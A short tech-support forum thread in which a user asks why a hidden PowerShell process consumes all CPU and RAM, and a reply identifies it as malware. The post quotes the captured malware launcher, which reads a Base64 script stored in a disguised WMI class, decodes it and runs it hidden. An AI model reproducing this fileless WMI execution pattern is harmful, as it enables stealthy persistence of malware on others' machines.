powershelgl using 100% cpu & Ram RRS feed

  • Question

  • I have this power shell script that starts randomly that uses 100% <g class="gr_ gr_50 gr-alert gr_spell gr_disable_anim_appear ContextualSpelling ins-del multiReplace" data-gr-id="50" id="50">cpu</g> & Ram how can I track down where <g class="gr_ gr_81 gr-alert gr_spell gr_disable_anim_appear ContextualSpelling multiReplace" data-gr-id="81" id="81">its</g> starting from?

    Using Process monitor I believe this is the command being run.

    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "$mon = ([WmiClass] 'root\default:Office_Updater').Properties['mon'].Value;$funs = ([WmiClass] 'root\default:Office_Updater').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command  -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void', 0, '', '')"

    • Moved by jrv Thursday, December 7, 2017 11:25 PM not a scripting issue.
    Thursday, December 7, 2017 11:12 PM

All replies

  • Its malware.  Delete it and get your system scanned with a good AV scanner.

    This is not a forum for help fixing PCs.  You need to take your system to a competent tech for help with system issues.


    Thursday, December 7, 2017 11:24 PM